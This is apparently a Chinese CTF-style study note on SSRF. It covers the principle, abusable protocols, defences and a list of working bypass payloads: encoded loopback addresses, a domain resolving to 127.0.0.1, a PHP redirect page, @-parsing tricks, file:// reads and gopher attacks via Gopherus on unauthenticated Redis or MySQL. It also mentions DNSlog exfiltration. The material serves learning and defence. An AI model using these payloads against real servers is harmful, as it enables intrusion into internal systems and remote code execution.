SSRF漏洞

原理

SSRF (Server-Side Request Forgery: 服务器端请求伪造) 一种由攻击者构造形成由服务端发起请求的一个安全漏洞;

一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

协议利用

http://  Web常见访问,如http://127.0.0.1

file:// 从文件系统中获取文件内容,如,file://etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict://ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload。由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

漏洞防御

  • 过滤返回信息,验证远程服务器对请求的响应。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  • 限制请求的端口为 http 常用的端口,比如,80,443,8080,8090。
  • 黑名单内网 ip。避免应用被用来获取获取内网数据,攻击内网。
  • 禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题。

白盒绕过

  1. 无过滤直接获取

payload:

url=http://127.0.0.1/flag.php
url=file:///var/www/html/flag.php
  1. IP地址进制绕过

正则过滤规则 /localhost|127.0.|。/i

payload:

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php
  1. 域名解析IP绕过

将自己拥有的域名添加一个记录解析为127.0.0.1。

如:test.xxx.com -> 127.0.0.1

payload:

url=http://test.xxx.com/flag.php
  1. 利用重定向解析绕过

在自己服务器上写一个跳转页面代码如下:

<?php
header("Location:http://127.0.0.1/flag.php");

payload:

url=http://服务器ip/xx.php
  1. 匹配且不影响写法解析

正则匹配规则 (url 中必须包含) /http://ctf.. * show$/i

payload:

url=http://ctf.@127.0.0.1/flag.php#show
  1. 利用gopher协议打服务

有一些前提条件,比如redis未授权、mysql无密码等。

利用工具:https://github.com/tarunkant/Gopherus

注意工具生成的url,要进行一次url编码,因为服务器会自动解一次码。

执行payload后就生成了x.php。

无回显的解决办法

  1. dnslog 外带

浅析DNSlog在渗透测试中的实战技巧_xml +dnslog-CSDN博客

  1. 反向连接

  1. 正向连接

一般RCE执行可以用这个方式,SSRF得用第一种方式,因为SSRF无法写文件。

写个文件在对方网站目录下,然后再去访问网站目录是否存在这个文件就能判断目标是否执行了RCE命令。